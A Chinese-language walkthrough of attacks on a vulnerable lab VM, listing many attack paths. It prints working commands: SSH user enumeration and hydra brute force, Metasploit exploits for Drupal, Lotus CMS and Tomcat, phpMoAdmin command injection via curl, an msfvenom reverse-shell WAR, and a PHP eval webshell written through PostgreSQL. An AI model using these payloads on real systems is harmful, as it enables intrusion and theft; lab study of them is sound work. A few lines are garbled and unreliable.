这台靶机的攻击思路有挺多的
常规nmap扫描
暴露有
21(ftp,可以匿名访问的)、22(ssh)、25(smtp)、53(domain)、80(http)、110(pop3)、111(rpcbind)、139(netbios-ssn)、 143(imap)、445(netbios-ssn)、631(ipp)、993(ssl/imaps)、995(ssl/pop3)、2049(nfs_acl)、3306(mysql)、5432(postgrespl)、8080(http) 、6379(redis)、27017(mongodb)
web
先看看80端口
扫描一下目录
dirb http://192.168.27.128/
感兴趣的目录有 /cms/ /drupal /phpmyadmin /javascript /robots.txt
以下罗列几种思路
ssh用户枚举漏洞进行测试
可以用cewl制作字典 cewl http://192.168.44.142/27.128http://192.168.44.142/ -w user.txt
在kali找一下ssh用户枚举漏洞的脚本
searchsploit ssh
(OpenSSH 2.3 < 7.7 - Username Enumeration)
40136.py
python 40136.py 192.168.44.142 -U user.txt
或者直接在msf利用
search ssh/ssh_ use auxiliary/scanner/ssh/ssh_enumusers options
set thosts 192.168.27.128
将爆破字典放到桌面的目录下并且写入参数中,如下
由于是爆破,把线程调为20
set threads 20
run
爆破完成,找到admin账户
直接爆破密码
hydra -l admin -P /root/Desktop/1/66/rockyou.txt 192.168.27.128 ssh
nfs
有2049nfs端口,msf可以直接找对应的漏洞利用
search nfs
msf> use auxiliary/scanner/nfs/nfsmount
show option
set rhosts 靶机ip
exploit
/typhoon [*] ---挂载了该目录 创建一个/tmp/typhoon目录
mkdir /tmp/typhoon
将目标挂载的目录挂载到我们新建的目录下
mount -t nfs 192.168.27.128:/typhoon /tmp/typhoon
可以查看目录下文件
Drupal CMS
也是在msf上利用
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 靶机ip
set targeturi /drupal
exploit
phpMoAdmin
phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。
从之前nmap扫描的数据可以看到如下
有账号密码
访问http://192.168.27.128/mongoadmin/
这是mongodb数据库的一个php写的管理工具phpmoadmin
后台存在信息泄露,对应可以去查找是否存在漏洞
点击change database
http://192.168.27.128/mongoadmin/index.php?action=getStats
可以看到版本号是1.0.9,google查一下
phpMoAdmin 1.0.9 exploit
找到两个
curl http://192.168.27.128/mongoadmin/index.php -d "object=1;system('whoami');//"
curl 'http://192.168.27.128/mongoadmin/index.php?collection=admin&action=listRows&find=array();passthru("uname%20-a");exit;'
信息泄露
比较卡,或者在界面多点击几次后等待会出现creds选项:
http://192.168.27.128/mongoadmin/index.php?db=credentials&action=listRows&collection=creds
发现:
[username] => typhoon
[password] => 789456123
ssh连接尝试
Lotus CMS
也是msf
use exploit/multi/http/lcms_php_exec
set rhost 靶机ip
set uri /cms/
exploit
tomca(8080)
使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 也可以用msf的multi/http/tomcat_mgr_login
msf6 exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.44.142 rhost => 192.168.44.142 msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080 rport => 8080 msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat httppassword => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat httpusername => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > run
后台部署
首先生成一个war包木马
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.27.187 LPORT=4455 -f war -o ylion.war
在刚才登录成功的界面下滑
选择war包木马并Deploy
使用命令查看war包内部的恶意代码文件
7z l ylion.war
开启nc监听4455端口
nc -vlp 4455
访问
http://192.168.27.128:8080/ylion/tiehvcfkfc.jsp
拿到反弹shell
PostgreSQL
search postgres
use auxiliary/scanner/postgres/postgres_login set rhosts 192.168.27.128 run
得到账号密码postgres:postgres@template1
登入一下
psql -h 192.168.27.128 -U postgres
列目录
select pg_ls_dir('./');
-
读取权限允许的文件
select pg_read_file('postgresql.conf',0,1000);
-
读取/etc/passwd第一行
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
-
直接读出所有数据
SELECT * FROM MrLee;
按下Q退出当前页面!
-
利用数据库写文件
INSERT INTO MrLee(t) VALUES('hello,MrLee'); COPY MrLee(t) TO '/tmp/MrLee';
写入Mrlee
验证一下
SELECT * FROM MrLee;
读取发现:
hello,MrLee
创建OID,清空内容
SELECT lo_create(998); delete from pg_largeobject where loid=998;
接下来写入一句话木马
<?php @eval($_POST['123']);?>将他hex加密
0x3C3F70687020406576616C28245F504F53545B27313233275D293B3F3E
insert into pg_largeobject (loid,pageno,data) values(998, 0, decode('3C3F70687020406576616C28245F504F53545B27313233275D293B3F3E', 'hex'));
数据将被插入到pg_largeobject
表中。它指定将插入数据的列:loid
、pageno
和data
。
998
是该列的值loid
。0
是该列的值pageno
。decode('3C3F70687020406576616C28245F504F53545B27313233275D293B3F3E', 'hex')
是该列的值data
。这部分将十六进制字符串解码
将id998的内容写到/var/www/html/shell.php内
select lo_export(998,'/var/www/html/shell.php');
lo_export
函数是一个 PostgreSQL 函数,它将大对象的数据导出到服务器文件系统上的文件中。在本例中,它从loid
值为 的大对象中导出数据998lo_export
函数是一个 PostgreSQL 函数,它将大对象的数据导出到服务器文件系统上的文件中。在本例中,它从loid
值为 的大对象中导出数据998
使用蚁剑连接
6379端口(redis)
redis-cli安装
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable make //全局生效 cp src/redis-cli /usr/bin/
redis-cli -h 192.168.56.150
这个漏洞有三种方法利用 1.利用redis写webshell 2.利用”公私钥”认证获取root权限 3.利用crontab反弹shell 这三种方法都能可以,但就是利用不了,在这个点我弄了很多遍,决定放弃但在最后发现我写的文件都存在靶机里,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了。